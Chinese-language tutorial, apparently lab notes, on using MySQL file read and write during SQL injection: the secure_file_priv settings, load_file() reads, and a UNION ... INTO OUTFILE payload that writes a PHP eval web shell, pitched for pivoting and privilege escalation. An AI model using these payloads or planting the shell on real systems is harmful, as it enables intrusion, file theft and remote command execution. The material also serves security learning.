目录
- 能读写文件的前提
- Windows下的设置
- Linux下的设置
- 没有读写权限的尝试
- 确认有SQL注入后,跟进确认是否有读写权限
- read
- 常用读文件函数
- load_file()
- load data infile()
- system cat
- write
- 将列数据写出
- 自定义shell写出
- mysql写shell并利用成功的前提
- 利用mysql写shell的好处
以下实验都在win OS, mysql 5.7.26下操作;
能读写文件的前提
不同系统有细微差异;
0.能进行SQL注入活动
1.拥有该File的读权限 或
该目录写的权限
2.secure_file_priv属性的值不为NULL 或
local-infile为0
Windows下的设置
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
secure_file_priv属性值的设置:
- secure_file_priv为null 表示不允许导入导出 (5.7后为默认值)
- secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
- secure_file_priv没有设置时,则表示没有任何限制
[mysql]
default-character-set=utf8
[mysqld]
port=3306
basedir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/
datadir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/data/
character-set-server=utf8
default-storage-engine=InnoDB
secure_file_priv=
# secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征
[mysql]
default-character-set=utf8
[mysqld]
port=3306
basedir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/
datadir=D:/programfiles/phpstudy_pro/Extensions/MySQL5.7.26/data/
character-set-server=utf8
default-storage-engine=InnoDB
secure_file_priv=
# secure_file_priv= 表示对读写没有限制
# secure_file_priv= 在基线扫描时也是一个漏洞特征
Linux下的设置
在/etc/my.cnf的[mysqld]下面添加
local-infile=0
重启mysql
没有读写权限的尝试
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
也不报错,就是没执行一次就增加一行空值;
确认有SQL注入后,跟进确认是否有读写权限
# win
show global variables LIKE "secure_file_priv";
# linux
show global variables LIKE "local-infile";
# win
show global variables LIKE "secure_file_priv";
# linux
show global variables LIKE "local-infile";
read
能读文件意味着系统敏感文件泄露,代码被审计;
准备好要读的文件
常用读文件函数
mysql在不同版本读取文件的函数可能会不同;
1.load_file()
2.load data infile()
3.system cat
load_file()
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms
读入成功。
load data infile()
load data infile 'D:/test.txt' into table read2_tb;
load data infile 'D:/test.txt' into table read2_tb;
system cat
在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用Linux系统命令直接读取文件
system cat /test.txt
system cat /test.txt
注意:
1.此方法只能在本地读取,远程连接mysql时无法使用system
2.无法越权读取
write
能写文件就意味着能写入shell, OS 区分Win\Linux之间的差别;
将列数据写出
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,不然报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,不然报错
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists
自定义shell写出
select * from read2_tb where 1=1 union select "<?php @eval($_GET['cmd'])?>" into outfile 'D:/test3.txt';
select * from read2_tb where 1=1 union select "<?php @eval($_GET['cmd'])?>" into outfile 'D:/test3.txt';
mysql写shell并利用成功的前提
1.拥有上面说的3个前提
2.能写入到可执行目录里面
3.能连接成功
利用mysql写shell的好处
- 内网扩散
目标数据库一般在内网之中,与其他内网主机能互通,作为一个跳板机极好; - 提权
一般进入主机可能是低权限或者匿名用户,但是通过SQL注入得到的登陆用户具有一定权限;利用SQL注入也是一种提权方式;